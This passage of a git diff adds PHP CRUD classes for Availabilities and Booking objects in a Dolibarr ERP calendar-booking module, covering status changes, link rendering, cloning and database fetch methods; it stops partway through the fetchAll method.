(!empty($this->fields['date_validation'])) { + $sql .= ", date_validation = '".$this->db->idate($now)."'"; + } + if (!empty($this->fields['fk_user_valid'])) { + $sql .= ", fk_user_valid = ".((int) $user->id); + } + $sql .= " WHERE rowid = ".((int) $this->id); + + dol_syslog(get_class($this)."::validate()", LOG_DEBUG); + $resql = $this->db->query($sql); + if (!$resql) { + dol_print_error($this->db); + $this->error = $this->db->lasterror(); + $error++; + } + + if (!$error && !$notrigger) { + // Call trigger + $result = $this->call_trigger('AVAILABILITIES_VALIDATE', $user); + if ($result < 0) { + $error++; + } + // End call triggers + } + } + + if (!$error) { + $this->oldref = $this->ref; + + // Rename directory if dir was a temporary ref + if (preg_match('/^[\(]?PROV/i', $this->ref)) { + // Now we rename also files into index + $sql = 'UPDATE '.MAIN_DB_PREFIX."ecm_files set filename = CONCAT('".$this->db->escape($this->newref)."', SUBSTR(filename, ".(strlen($this->ref) + 1).")), filepath = 'availabilities/".$this->db->escape($this->newref)."'"; + $sql .= " WHERE filename LIKE '".$this->db->escape($this->ref)."%' AND filepath = 'availabilities/".$this->db->escape($this->ref)."' and entity = ".$conf->entity; + $resql = $this->db->query($sql); + if (!$resql) { + $error++; $this->error = $this->db->lasterror(); + } + + // We rename directory ($this->ref = old ref, $num = new ref) in order not to lose the attachments + $oldref = dol_sanitizeFileName($this->ref); + $newref = dol_sanitizeFileName($num); + $dirsource = $conf->bookcal->dir_output.'/availabilities/'.$oldref; + $dirdest = $conf->bookcal->dir_output.'/availabilities/'.$newref; + if (!$error && file_exists($dirsource)) { + dol_syslog(get_class($this)."::validate() rename dir ".$dirsource." into ".$dirdest); + + if (@rename($dirsource, $dirdest)) { + dol_syslog("Rename ok"); + // Rename docs starting with $oldref with $newref + $listoffiles = dol_dir_list($conf->bookcal->dir_output.'/availabilities/'.$newref, 'files', 1, '^'.preg_quote($oldref, '/')); + foreach ($listoffiles as $fileentry) { + $dirsource = $fileentry['name']; + $dirdest = preg_replace('/^'.preg_quote($oldref, '/').'/', $newref, $dirsource); + $dirsource = $fileentry['path'].'/'.$dirsource; + $dirdest = $fileentry['path'].'/'.$dirdest; + @rename($dirsource, $dirdest); + } + } + } + } + } + + // Set new ref and current status + if (!$error) { + $this->ref = $num; + $this->status = self::STATUS_VALIDATED; + } + + if (!$error) { + $this->db->commit(); + return 1; + } else { + $this->db->rollback(); + return -1; + } + } + + + /** + * Set draft status + * + * @param User $user Object user that modify + * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers + * @return int <0 if KO, >0 if OK + */ + public function setDraft($user, $notrigger = 0) + { + // Protection + if ($this->status <= self::STATUS_DRAFT) { + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->bookcal_advance->validate)))) + { + $this->error='Permission denied'; + return -1; + }*/ + + return $this->setStatusCommon($user, self::STATUS_DRAFT, $notrigger, 'AVAILABILITIES_UNVALIDATE'); + } + + /** + * Set cancel status + * + * @param User $user Object user that modify + * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers + * @return int <0 if KO, 0=Nothing done, >0 if OK + */ + public function cancel($user, $notrigger = 0) + { + // Protection + if ($this->status != self::STATUS_VALIDATED) { + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->bookcal_advance->validate)))) + { + $this->error='Permission denied'; + return -1; + }*/ + + return $this->setStatusCommon($user, self::STATUS_CANCELED, $notrigger, 'AVAILABILITIES_CANCEL'); + } + + /** + * Set back to validated status + * + * @param User $user Object user that modify + * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers + * @return int <0 if KO, 0=Nothing done, >0 if OK + */ + public function reopen($user, $notrigger = 0) + { + // Protection + if ($this->status != self::STATUS_CANCELED) { + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->write)) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->bookcal_advance->validate)))) + { + $this->error='Permission denied'; + return -1; + }*/ + + return $this->setStatusCommon($user, self::STATUS_VALIDATED, $notrigger, 'AVAILABILITIES_REOPEN'); + } + + /** + * Return a link to the object card (with optionaly the picto) + * + * @param int $withpicto Include picto in link (0=No picto, 1=Include picto into link, 2=Only picto) + * @param string $option On what the link point to ('nolink', ...) + * @param int $notooltip 1=Disable tooltip + * @param string $morecss Add more css on link + * @param int $save_lastsearch_value -1=Auto, 0=No save of lastsearch_values when clicking, 1=Save lastsearch_values whenclicking + * @return string String with URL + */ + public function getNomUrl($withpicto = 0, $option = '', $notooltip = 0, $morecss = '', $save_lastsearch_value = -1) + { + global $conf, $langs, $hookmanager; + + if (!empty($conf->dol_no_mouse_hover)) { + $notooltip = 1; // Force disable tooltips + } + + $result = ''; + + $label = img_picto('', $this->picto).' '.$langs->trans("Availabilities").''; + if (isset($this->status)) { + $label .= ' '.$this->getLibStatut(5); + } + $label .= '
      '; + $label .= ''.$langs->trans('Ref').': '.$this->ref; + + $url = dol_buildpath('/bookcal/availabilities_card.php', 1).'?id='.$this->id; + + if ($option != 'nolink') { + // Add param to save lastsearch_values or not + $add_save_lastsearch_values = ($save_lastsearch_value == 1 ? 1 : 0); + if ($save_lastsearch_value == -1 && preg_match('/list\.php/', $_SERVER["PHP_SELF"])) { + $add_save_lastsearch_values = 1; + } + if ($url && $add_save_lastsearch_values) { + $url .= '&save_lastsearch_values=1'; + } + } + + $linkclose = ''; + if (empty($notooltip)) { + if (!empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { + $label = $langs->trans("ShowAvailabilities"); + $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; + } + $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; + $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + } else { + $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); + } + + if ($option == 'nolink' || empty($url)) { + $linkstart = ''; + if ($option == 'nolink' || empty($url)) { + $linkend = ''; + } else { + $linkend = ''; + } + + $result .= $linkstart; + + if (empty($this->showphoto_on_popup)) { + if ($withpicto) { + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + } + } else { + if ($withpicto) { + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + + list($class, $module) = explode('@', $this->picto); + $upload_dir = $conf->$module->multidir_output[$conf->entity]."/$class/".dol_sanitizeFileName($this->ref); + $filearray = dol_dir_list($upload_dir, "files"); + $filename = $filearray[0]['name']; + if (!empty($filename)) { + $pospoint = strpos($filearray[0]['name'], '.'); + + $pathtophoto = $class.'/'.$this->ref.'/thumbs/'.substr($filename, 0, $pospoint).'_mini'.substr($filename, $pospoint); + if (empty($conf->global->{strtoupper($module.'_'.$class).'_FORMATLISTPHOTOSASUSERS'})) { + $result .= '
      No photo
      '; + } else { + $result .= '
      No photo
      '; + } + + $result .= '
      '; + } else { + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + } + } + } + + if ($withpicto != 2) { + $result .= $this->ref; + } + + $result .= $linkend; + //if ($withpicto != 2) $result.=(($addlabel && $this->label) ? $sep . dol_trunc($this->label, ($addlabel > 1 ? $addlabel : 0)) : ''); + + global $action, $hookmanager; + $hookmanager->initHooks(array('availabilitiesdao')); + $parameters = array('id'=>$this->id, 'getnomurl' => &$result); + $reshook = $hookmanager->executeHooks('getNomUrl', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook > 0) { + $result = $hookmanager->resPrint; + } else { + $result .= $hookmanager->resPrint; + } + + return $result; + } + + /** + * Return the label of the status + * + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status + */ + public function getLabelStatus($mode = 0) + { + return $this->LibStatut($this->status, $mode); + } + + /** + * Return the label of the status + * + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status + */ + public function getLibStatut($mode = 0) + { + return $this->LibStatut($this->status, $mode); + } + + // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** + * Return the status + * + * @param int $status Id status + * @param int $mode 0=long label, 1=short label, 2=Picto + short label, 3=Picto, 4=Picto + long label, 5=Short label + Picto, 6=Long label + Picto + * @return string Label of status + */ + public function LibStatut($status, $mode = 0) + { + // phpcs:enable + if (empty($this->labelStatus) || empty($this->labelStatusShort)) { + global $langs; + //$langs->load("agenda"); + $this->labelStatus[self::STATUS_DRAFT] = $langs->transnoentitiesnoconv('Draft'); + $this->labelStatus[self::STATUS_VALIDATED] = $langs->transnoentitiesnoconv('Enabled'); + $this->labelStatus[self::STATUS_CANCELED] = $langs->transnoentitiesnoconv('Disabled'); + $this->labelStatusShort[self::STATUS_DRAFT] = $langs->transnoentitiesnoconv('Draft'); + $this->labelStatusShort[self::STATUS_VALIDATED] = $langs->transnoentitiesnoconv('Enabled'); + $this->labelStatusShort[self::STATUS_CANCELED] = $langs->transnoentitiesnoconv('Disabled'); + } + + $statusType = 'status'.$status; + //if ($status == self::STATUS_VALIDATED) $statusType = 'status1'; + if ($status == self::STATUS_CANCELED) { + $statusType = 'status6'; + } + + return dolGetStatus($this->labelStatus[$status], $this->labelStatusShort[$status], '', $statusType, $mode); + } + + /** + * Load the info information in the object + * + * @param int $id Id of object + * @return void + */ + public function info($id) + { + $sql = "SELECT rowid,"; + $sql .= " date_creation as datec, tms as datem,"; + $sql .= " fk_user_creat, fk_user_modif"; + $sql .= " FROM ".MAIN_DB_PREFIX.$this->table_element." as t"; + $sql .= " WHERE t.rowid = ".((int) $id); + + $result = $this->db->query($sql); + if ($result) { + if ($this->db->num_rows($result)) { + $obj = $this->db->fetch_object($result); + + $this->id = $obj->rowid; + + $this->user_creation_id = $obj->fk_user_creat; + $this->user_modification_id = $obj->fk_user_modif; + if (!empty($obj->fk_user_valid)) { + $this->user_validation_id = $obj->fk_user_valid; + } + $this->date_creation = $this->db->jdate($obj->datec); + $this->date_modification = empty($obj->datem) ? '' : $this->db->jdate($obj->datem); + if (!empty($obj->datev)) { + $this->date_validation = empty($obj->datev) ? '' : $this->db->jdate($obj->datev); + } + } + + $this->db->free($result); + } else { + dol_print_error($this->db); + } + } + + /** + * Initialise object with example values + * Id must be 0 if object instance is a specimen + * + * @return void + */ + public function initAsSpecimen() + { + // Set here init that are not commonf fields + // $this->property1 = ... + // $this->property2 = ... + + $this->initAsSpecimenCommon(); + } + + /** + * Create an array of lines + * + * @return array|int array of lines if OK, <0 if KO + */ + public function getLinesArray() + { + $this->lines = array(); + + $objectline = new AvailabilitiesLine($this->db); + $result = $objectline->fetchAll('ASC', 'position', 0, 0, array('customsql'=>'fk_availabilities = '.((int) $this->id))); + + if (is_numeric($result)) { + $this->error = $objectline->error; + $this->errors = $objectline->errors; + return $result; + } else { + $this->lines = $result; + return $this->lines; + } + } + + /** + * Returns the reference to the following non used object depending on the active numbering module. + * + * @return string Object free reference + */ + public function getNextNumRef() + { + global $langs, $conf; + $langs->load("agenda"); + + if (empty($conf->global->BOOKCAL_AVAILABILITIES_ADDON)) { + $conf->global->BOOKCAL_AVAILABILITIES_ADDON = 'mod_availabilities_standard'; + } + + if (!empty($conf->global->BOOKCAL_AVAILABILITIES_ADDON)) { + $mybool = false; + + $file = $conf->global->BOOKCAL_AVAILABILITIES_ADDON.".php"; + $classname = $conf->global->BOOKCAL_AVAILABILITIES_ADDON; + + // Include file with class + $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); + foreach ($dirmodels as $reldir) { + $dir = dol_buildpath($reldir."core/modules/bookcal/"); + + // Load file with numbering class (if found) + $mybool |= @include_once $dir.$file; + } + + if ($mybool === false) { + dol_print_error('', "Failed to include file ".$file); + return ''; + } + + if (class_exists($classname)) { + $obj = new $classname(); + $numref = $obj->getNextValue($this); + + if ($numref != '' && $numref != '-1') { + return $numref; + } else { + $this->error = $obj->error; + //dol_print_error($this->db,get_class($this)."::getNextNumRef ".$obj->error); + return ""; + } + } else { + print $langs->trans("Error")." ".$langs->trans("ClassNotFound").' '.$classname; + return ""; + } + } else { + print $langs->trans("ErrorNumberingModuleNotSetup", $this->element); + return ""; + } + } + + /** + * Create a document onto disk according to template module. + * + * @param string $modele Force template to use ('' to not force) + * @param Translate $outputlangs objet lang a utiliser pour traduction + * @param int $hidedetails Hide details of lines + * @param int $hidedesc Hide description + * @param int $hideref Hide ref + * @param null|array $moreparams Array to provide more information + * @return int 0 if KO, 1 if OK + */ + public function generateDocument($modele, $outputlangs, $hidedetails = 0, $hidedesc = 0, $hideref = 0, $moreparams = null) + { + global $conf, $langs; + + $result = 0; + $includedocgeneration = 0; + + $langs->load("agenda"); + + if (!dol_strlen($modele)) { + $modele = 'standard_availabilities'; + + if (!empty($this->model_pdf)) { + $modele = $this->model_pdf; + } elseif (!empty($conf->global->AVAILABILITIES_ADDON_PDF)) { + $modele = $conf->global->AVAILABILITIES_ADDON_PDF; + } + } + + $modelpath = "core/modules/bookcal/doc/"; + + if ($includedocgeneration && !empty($modele)) { + $result = $this->commonGenerateDocument($modelpath, $modele, $outputlangs, $hidedetails, $hidedesc, $hideref, $moreparams); + } + + return $result; + } + + /** + * Action executed by scheduler + * CAN BE A CRON TASK. In such a case, parameters come from the schedule job setup field 'Parameters' + * Use public function doScheduledJob($param1, $param2, ...) to get parameters + * + * @return int 0 if OK, <>0 if KO (this function is used also by cron so only 0 is OK) + */ + public function doScheduledJob() + { + global $conf, $langs; + + //$conf->global->SYSLOG_FILE = 'DOL_DATA_ROOT/dolibarr_mydedicatedlofile.log'; + + $error = 0; + $this->output = ''; + $this->error = ''; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $now = dol_now(); + + $this->db->begin(); + + // ... + + $this->db->commit(); + + return $error; + } +} + + +require_once DOL_DOCUMENT_ROOT.'/core/class/commonobjectline.class.php'; + +/** + * Class AvailabilitiesLine. You can also remove this and generate a CRUD class for lines objects. + */ +class AvailabilitiesLine extends CommonObjectLine +{ + // To complete with content of an object AvailabilitiesLine + // We should have a field rowid, fk_availabilities and position + + /** + * @var int Does object support extrafields ? 0=No, 1=Yes + */ + public $isextrafieldmanaged = 0; + + /** + * Constructor + * + * @param DoliDb $db Database handler + */ + public function __construct(DoliDB $db) + { + $this->db = $db; + } +} diff --git a/htdocs/bookcal/class/booking.class.php b/htdocs/bookcal/class/booking.class.php new file mode 100644 index 00000000000..fab4cd6ba95 --- /dev/null +++ b/htdocs/bookcal/class/booking.class.php @@ -0,0 +1,1089 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file class/booking.class.php + * \ingroup bookcal + * \brief This file is a CRUD class file for Booking (Create/Read/Update/Delete) + */ + +// Put here all includes required by your class file +require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; +//require_once DOL_DOCUMENT_ROOT . '/societe/class/societe.class.php'; +//require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; + +/** + * Class for Booking + */ +class Booking extends CommonObject +{ + /** + * @var string ID of module. + */ + public $module = 'bookcal'; + + /** + * @var string ID to identify managed object. + */ + public $element = 'booking'; + + /** + * @var string Name of table without prefix where object is stored. This is also the key used for extrafields management. + */ + public $table_element = 'bookcal_booking'; + + /** + * @var int Does this object support multicompany module ? + * 0=No test on entity, 1=Test with field entity, 'field@table'=Test with link by field@table + */ + public $ismultientitymanaged = 0; + + /** + * @var int Does object support extrafields ? 0=No, 1=Yes + */ + public $isextrafieldmanaged = 1; + + /** + * @var string String with name of icon for booking. Must be a 'fa-xxx' fontawesome code (or 'fa-xxx_fa_color_size') or 'booking@bookcal' if picto is file 'img/object_booking.png'. + */ + public $picto = 'fa-file'; + + + const STATUS_DRAFT = 0; + const STATUS_VALIDATED = 1; + const STATUS_CANCELED = 9; + + + /** + * 'type' field format ('integer', 'integer:ObjectClass:PathToClass[:AddCreateButtonOrNot[:Filter[:Sortfield]]]', 'sellist:TableName:LabelFieldName[:KeyFieldName[:KeyFieldParent[:Filter[:Sortfield]]]]', 'varchar(x)', 'double(24,8)', 'real', 'price', 'text', 'text:none', 'html', 'date', 'datetime', 'timestamp', 'duration', 'mail', 'phone', 'url', 'password') + * Note: Filter can be a string like "(t.ref:like:'SO-%') or (t.date_creation:<:'20160101') or (t.nature:is:NULL)" + * 'label' the translation key. + * 'picto' is code of a picto to show before value in forms + * 'enabled' is a condition when the field must be managed (Example: 1 or '$conf->global->MY_SETUP_PARAM' or 'isModEnabled('multicurrency')' ...) + * 'position' is the sort order of field. + * 'notnull' is set to 1 if not null in database. Set to -1 if we must set data to null if empty ('' or 0). + * 'visible' says if field is visible in list (Examples: 0=Not visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create). 5=Visible on list and view only (not create/not update). Using a negative value means field is not shown by default on list but can be selected for viewing) + * 'noteditable' says if field is not editable (1 or 0) + * 'default' is a default value for creation (can still be overwrote by the Setup of Default Values if field is editable in creation form). Note: If default is set to '(PROV)' and field is 'ref', the default value will be set to '(PROVid)' where id is rowid when a new record is created. + * 'index' if we want an index in database. + * 'foreignkey'=>'tablename.field' if the field is a foreign key (it is recommanded to name the field fk_...). + * 'searchall' is 1 if we want to search in this field when making a search from the quick search button. + * 'isameasure' must be set to 1 or 2 if field can be used for measure. Field type must be summable like integer or double(24,8). Use 1 in most cases, or 2 if you don't want to see the column total into list (for example for percentage) + * 'css' and 'cssview' and 'csslist' is the CSS style to use on field. 'css' is used in creation and update. 'cssview' is used in view mode. 'csslist' is used for columns in lists. For example: 'css'=>'minwidth300 maxwidth500 widthcentpercentminusx', 'cssview'=>'wordbreak', 'csslist'=>'tdoverflowmax200' + * 'help' is a 'TranslationString' to use to show a tooltip on field. You can also use 'TranslationString:keyfortooltiponlick' for a tooltip on click. + * 'showoncombobox' if value of the field must be visible into the label of the combobox that list record + * 'disabled' is 1 if we want to have the field locked by a 'disabled' attribute. In most cases, this is never set into the definition of $fields into class, but is set dynamically by some part of code. + * 'arrayofkeyval' to set a list of values if type is a list of predefined values. For example: array("0"=>"Draft","1"=>"Active","-1"=>"Cancel"). Note that type can be 'integer' or 'varchar' + * 'autofocusoncreate' to have field having the focus on a create form. Only 1 field should have this property set to 1. + * 'comment' is not used. You can store here any text of your choice. It is not used by application. + * 'validate' is 1 if need to validate with $this->validateField() + * 'copytoclipboard' is 1 or 2 to allow to add a picto to copy value into clipboard (1=picto after label, 2=picto after value) + * + * Note: To have value dynamic, you can set value to 0 in definition and edit the value on the fly into the constructor. + */ + + // BEGIN MODULEBUILDER PROPERTIES + /** + * @var array Array with all fields and their property. Do not use it as a static var. It may be modified by constructor. + */ + public $fields=array( + 'rowid' => array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>'1', 'position'=>1, 'notnull'=>1, 'visible'=>0, 'noteditable'=>'1', 'index'=>1, 'css'=>'left', 'comment'=>"Id"), + 'ref' => array('type'=>'varchar(128)', 'label'=>'Ref', 'enabled'=>'1', 'position'=>1.2, 'notnull'=>1, 'visible'=>1, 'index'=>1, 'searchall'=>1, 'validate'=>'1', 'comment'=>"Reference of object"), + 'fk_soc' => array('type'=>'integer:Societe:societe/class/societe.class.php:1:((status:=:1) and (entity:IN:__SHARED_ENTITIES__))', 'label'=>'ThirdParty', 'picto'=>'company', 'enabled'=>'isModEnabled("societe")', 'position'=>50, 'notnull'=>-1, 'visible'=>1, 'index'=>1, 'css'=>'maxwidth500 widthcentpercentminusxx', 'help'=>"LinkToThirparty", 'validate'=>'1',), + 'fk_project' => array('type'=>'integer:Project:projet/class/project.class.php:1', 'label'=>'Project', 'picto'=>'project', 'enabled'=>'$conf->project->enabled', 'position'=>52, 'notnull'=>-1, 'visible'=>-1, 'index'=>1, 'css'=>'maxwidth500 widthcentpercentminusxx', 'validate'=>'1',), + 'description' => array('type'=>'text', 'label'=>'Description', 'enabled'=>'1', 'position'=>60, 'notnull'=>0, 'visible'=>3, 'validate'=>'1',), + 'note_public' => array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>'1', 'position'=>61, 'notnull'=>0, 'visible'=>0, 'cssview'=>'wordbreak', 'validate'=>'1',), + 'note_private' => array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>'1', 'position'=>62, 'notnull'=>0, 'visible'=>0, 'cssview'=>'wordbreak', 'validate'=>'1',), + 'date_creation' => array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>'1', 'position'=>500, 'notnull'=>1, 'visible'=>-2,), + 'tms' => array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>'1', 'position'=>501, 'notnull'=>0, 'visible'=>-2,), + 'fk_user_creat' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'picto'=>'user', 'enabled'=>'1', 'position'=>510, 'notnull'=>1, 'visible'=>-2, 'foreignkey'=>'user.rowid',), + 'fk_user_modif' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'picto'=>'user', 'enabled'=>'1', 'position'=>511, 'notnull'=>-1, 'visible'=>-2,), + 'last_main_doc' => array('type'=>'varchar(255)', 'label'=>'LastMainDoc', 'enabled'=>'1', 'position'=>600, 'notnull'=>0, 'visible'=>0,), + 'import_key' => array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>'1', 'position'=>1000, 'notnull'=>-1, 'visible'=>-2,), + 'model_pdf' => array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>'1', 'position'=>1010, 'notnull'=>-1, 'visible'=>0,), + 'status' => array('type'=>'integer', 'label'=>'Status', 'enabled'=>'1', 'position'=>2000, 'notnull'=>1, 'visible'=>1, 'index'=>1, 'arrayofkeyval'=>array('0'=>'Draft', '1'=>'Validated', '9'=>'Canceled'), 'validate'=>'1',), + 'firstname' => array('type'=>'varchar(128)', 'label'=>'firstname', 'enabled'=>'1', 'position'=>2, 'notnull'=>1, 'visible'=>-1,), + 'lastname' => array('type'=>'varchar(128)', 'label'=>'lastname', 'enabled'=>'1', 'position'=>3, 'notnull'=>1, 'visible'=>-1,), + 'email' => array('type'=>'varchar(128)', 'label'=>'email', 'enabled'=>'1', 'position'=>4, 'notnull'=>1, 'visible'=>-1,), + 'start' => array('type'=>'datetime', 'label'=>'Start Hour', 'enabled'=>'1', 'position'=>5, 'notnull'=>1, 'visible'=>-1,), + 'duration' => array('type'=>'integer', 'label'=>'Duration', 'enabled'=>'1', 'position'=>6, 'notnull'=>1, 'visible'=>-1,), + ); + public $rowid; + public $ref; + public $fk_soc; + public $fk_project; + public $description; + public $note_public; + public $note_private; + public $date_creation; + public $tms; + public $fk_user_creat; + public $fk_user_modif; + public $last_main_doc; + public $import_key; + public $model_pdf; + public $status; + public $firstname; + public $lastname; + public $email; + public $start; + public $duration; + // END MODULEBUILDER PROPERTIES + + + // If this object has a subtable with lines + + // /** + // * @var string Name of subtable line + // */ + // public $table_element_line = 'bookcal_bookingline'; + + // /** + // * @var string Field with ID of parent key if this object has a parent + // */ + // public $fk_element = 'fk_booking'; + + // /** + // * @var string Name of subtable class that manage subtable lines + // */ + // public $class_element_line = 'Bookingline'; + + // /** + // * @var array List of child tables. To test if we can delete object. + // */ + // protected $childtables = array(); + + // /** + // * @var array List of child tables. To know object to delete on cascade. + // * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will + // * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object + // */ + // protected $childtablesoncascade = array('bookcal_bookingdet'); + + // /** + // * @var BookingLine[] Array of subtable lines + // */ + // public $lines = array(); + + + + /** + * Constructor + * + * @param DoliDb $db Database handler + */ + public function __construct(DoliDB $db) + { + global $conf, $langs; + + $this->db = $db; + + if (empty($conf->global->MAIN_SHOW_TECHNICAL_ID) && isset($this->fields['rowid']) && !empty($this->fields['ref'])) { + $this->fields['rowid']['visible'] = 0; + } + if (empty($conf->multicompany->enabled) && isset($this->fields['entity'])) { + $this->fields['entity']['enabled'] = 0; + } + + // Example to show how to set values of fields definition dynamically + /*if ($user->rights->bookcal->booking->read) { + $this->fields['myfield']['visible'] = 1; + $this->fields['myfield']['noteditable'] = 0; + }*/ + + // Unset fields that are disabled + foreach ($this->fields as $key => $val) { + if (isset($val['enabled']) && empty($val['enabled'])) { + unset($this->fields[$key]); + } + } + + // Translate some data of arrayofkeyval + if (is_object($langs)) { + foreach ($this->fields as $key => $val) { + if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { + foreach ($val['arrayofkeyval'] as $key2 => $val2) { + $this->fields[$key]['arrayofkeyval'][$key2] = $langs->trans($val2); + } + } + } + } + } + + /** + * Create object into database + * + * @param User $user User that creates + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, Id of created object if OK + */ + public function create(User $user, $notrigger = false) + { + $resultcreate = $this->createCommon($user, $notrigger); + + //$resultvalidate = $this->validate($user, $notrigger); + + return $resultcreate; + } + + /** + * Clone an object into another one + * + * @param User $user User that creates + * @param int $fromid Id of object to clone + * @return mixed New object created, <0 if KO + */ + public function createFromClone(User $user, $fromid) + { + global $langs, $extrafields; + $error = 0; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $object = new self($this->db); + + $this->db->begin(); + + // Load source object + $result = $object->fetchCommon($fromid); + if ($result > 0 && !empty($object->table_element_line)) { + $object->fetchLines(); + } + + // get lines so they will be clone + //foreach($this->lines as $line) + // $line->fetch_optionals(); + + // Reset some properties + unset($object->id); + unset($object->fk_user_creat); + unset($object->import_key); + + // Clear fields + if (property_exists($object, 'ref')) { + $object->ref = empty($this->fields['ref']['default']) ? "Copy_Of_".$object->ref : $this->fields['ref']['default']; + } + if (property_exists($object, 'label')) { + $object->label = empty($this->fields['label']['default']) ? $langs->trans("CopyOf")." ".$object->label : $this->fields['label']['default']; + } + if (property_exists($object, 'status')) { + $object->status = self::STATUS_DRAFT; + } + if (property_exists($object, 'date_creation')) { + $object->date_creation = dol_now(); + } + if (property_exists($object, 'date_modification')) { + $object->date_modification = null; + } + // ... + // Clear extrafields that are unique + if (is_array($object->array_options) && count($object->array_options) > 0) { + $extrafields->fetch_name_optionals_label($this->table_element); + foreach ($object->array_options as $key => $option) { + $shortkey = preg_replace('/options_/', '', $key); + if (!empty($extrafields->attributes[$this->table_element]['unique'][$shortkey])) { + //var_dump($key); + //var_dump($clonedObj->array_options[$key]); exit; + unset($object->array_options[$key]); + } + } + } + + // Create clone + $object->context['createfromclone'] = 'createfromclone'; + $result = $object->createCommon($user); + if ($result < 0) { + $error++; + $this->error = $object->error; + $this->errors = $object->errors; + } + + if (!$error) { + // copy internal contacts + if ($this->copy_linked_contact($object, 'internal') < 0) { + $error++; + } + } + + if (!$error) { + // copy external contacts if same company + if (!empty($object->socid) && property_exists($this, 'fk_soc') && $this->fk_soc == $object->socid) { + if ($this->copy_linked_contact($object, 'external') < 0) { + $error++; + } + } + } + + unset($object->context['createfromclone']); + + // End + if (!$error) { + $this->db->commit(); + return $object; + } else { + $this->db->rollback(); + return -1; + } + } + + /** + * Load object in memory from the database + * + * @param int $id Id object + * @param string $ref Ref + * @return int <0 if KO, 0 if not found, >0 if OK + */ + public function fetch($id, $ref = null) + { + $result = $this->fetchCommon($id, $ref); + if ($result > 0 && !empty($this->table_element_line)) { + $this->fetchLines(); + } + return $result; + } + + /** + * Load object lines in memory from the database + * + * @return int <0 if KO, 0 if not found, >0 if OK + */ + public function fetchLines() + { + $this->lines = array(); + + $result = $this->fetchLinesCommon(); + return $result; + } + + + /** + * Load list of objects in memory from the database. + * + * @param string $sortorder Sort Order + * @param string $sortfield Sort field + * @param int $limit limit + * @param int $offset Offset + * @param array $filter Filter array. Example array('field'=>'valueforlike', 'customurl'=>...) + * @param string $filtermode Filter mode (AND or OR) + * @return array|int int <0 if KO, array of pages if OK + */ + public function fetchAll($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND') + { + global $conf; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $records = array(); + + $sql = "SELECT "; + $sql .= $this->getFieldList('t'); + $sql .= " FROM ".MAIN_DB_PREFIX.$this->table_element." as t"; + if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { + $sql .= " WHERE t.entity IN (".getEntity($this->element).")"; + } else { + $sql .= " WHERE 1 = 1"; + } + // Manage filter + $sqlwhere = array(); + if (count($filter) > 0) { + foreach ($filter as $key => $value) { + if ($key == 't.rowid') { + $sqlwhere[] = $key." = ".((int) $value); + } elseif (in_array($this->fields[$key]['type'], array('date', 'datetime', 